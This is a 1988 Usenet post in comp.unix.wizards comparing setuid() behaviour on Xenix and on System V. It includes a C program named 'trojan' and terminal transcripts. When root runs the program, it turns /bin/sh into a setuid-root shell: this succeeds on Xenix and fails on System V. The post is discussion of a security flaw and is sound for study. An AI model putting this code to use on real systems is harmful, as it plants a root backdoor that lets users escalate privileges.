Path: utzoo!attcan!uunet!lll-winken!lll-lcc!ames!ll-xn!mit-eddie!killer!vector!rpp386!jfh From: jfh@rpp386.UUCP (John F. Haugh II) Newsgroups: comp.unix.wizards Subject: Re: System V.2.2 setuid() broken Summary: curiouser and curiouser. xenix ``system v'' and usg system v really are different. two examples for the price of one ;-) Message-ID: <4061@rpp386.UUCP> Date: 16 Jul 88 17:47:10 GMT References: <5968@umn-cs.cs.umn.edu> <2820@ttidca.TTI.COM> <58603@sun.uucp> <3475@sequent.UUCP> <59537@sun.uucp> <1305@basser.oz> <3942@rpp Reply-To: jfh@rpp386.UUCP (The Beach Bum) Organization: Big "D" Home for Wayward Hackers Lines: 103 In article <1312@basser.oz> boyd@basser.oz (Boyd Roberts) writes: >System V setuid() is severly broken. Here I am, _really_ root, >but _effectively_ some dumb mortal (back in the _old_days_ root >was not affected by setuid (gid) bits) and I can't set my real >and effective uid to my real uid. Surely some mistake. yes, i RTFM'd and posted stupidity. however, to make matters worse, my supposedly SVID compliant Xenix kernel works as you desire and allows one to slip in the piece of code i mentioned with the expected consequences as i mentioned. here is the script file from executing the code here on rpp386: 1 - #rpp386-> cat trojan.c #includemain () { printf ("my effective uid == %d, my real uid == %d\n", geteuid (), getuid ()); if (getuid () == 0) { puts ("i am being executed by root!!!"); if (setuid (0) == -1) puts ("boohoo, couldn't set my EFFECTIVE uid to 0"); printf ("i am now effectively %d, and really %d\n", geteuid (), getuid ()); if (chown ("/bin/sh", 0, 0) == -1) puts ("boohoo, couldn't chown /bin/sh to root"); if (chmod ("/bin/sh", 04711) == -1) puts ("boohoo, couldn't chmod /bin/sh to SUID"); } else puts ("sigh, i am being executed by joe user"); puts ("let's see what /bin/sh looks like now ..."); fflush (stdout); system ("ls -l /bin/sh"); } 2 - #rpp386-> cc -o trojan trojan.c trojan.c 3 - #rpp386-> chown jfh trojan 4 - #rpp386-> chmod 4711 trojan 5 - #rpp386-> ls -l trojan -rws--x--x 1 jfh root 11783 Jul 16 12:24 trojan 6 - #rpp386-> ls -l /bin/sh -rwx--x--x 2 bin bin 45084 Jun 23 1987 /bin/sh 7 - #rpp386-> trojan my effective uid == 100, my real uid == 0 i am being executed by root!!! i am now effectively 0, and really 0 let's see what /bin/sh looks like now ... -rws--x--x 2 root root 45084 Jun 23 1987 /bin/sh 8 - #rpp386-> exit okay, it works the way you want it to with the consequences i predicted. now, here is the system i was thinking of, which is a real system v machine: 1 - su-#pigs-> cc -o trojan trojan.c 2 - su-#pigs-> chown haugj trojan 3 - su-#pigs-> chmod 4711 trojan 4 - su-#pigs-> ls -l trojan -rws--x--x 1 haugj sys 23709 Jul 16 12:29 trojan 5 - su-#pigs-> ls -l /bin/sh -rwxrwxr-x 1 bin bin 59519 Jun 30 1987 /bin/sh 6 - su-#pigs-> trojan my effective uid == 231, my real uid == 0 i am being executed by root!!! boohoo, couldn't set my EFFECTIVE uid to 0 i am now effectively 231, and really 0 boohoo, couldn't chown /bin/sh to root boohoo, couldn't chmod /bin/sh to SUID let's see what /bin/sh looks like now ... -rwxrwxr-x 1 bin bin 59519 Jun 30 1987 /bin/sh 7 - su-#pigs-> exit this has the results you can't stand, but doesn't allow one to have a suid program suddenly do things it shouldn't. i'm not certain what the exact cause of this behavior is since i don't have the source to os/sys?.c in front of my face at this moment. but whatever it is, i like it and think it is just as important as not including . in ones PATH as root. the worst of the stupidity was claiming that because the euid wasn't root the call would fail. under the third paragraph, the call should succeed as indeed it did on xenix. (the manual is ``unix system user's manual, release 5.0, june 1982. the xenix manual has that as paragraph four.) the 7th edition manual was worse. its description reads: The user ID (group ID) of the current process is set to the argument. Both the effective and the real ID are set. These calls are only permitted to the super-user, unless the argument is the real ID. - john. -- John F. Haugh II +--------- Cute Chocolate Quote --------- HASA, "S" Division | "USENET should not be confused with UUCP: killer!rpp386!jfh | something that matters, like CHOCOLATE" DOMAIN: jfh@rpp386.uucp | -- with my apologizes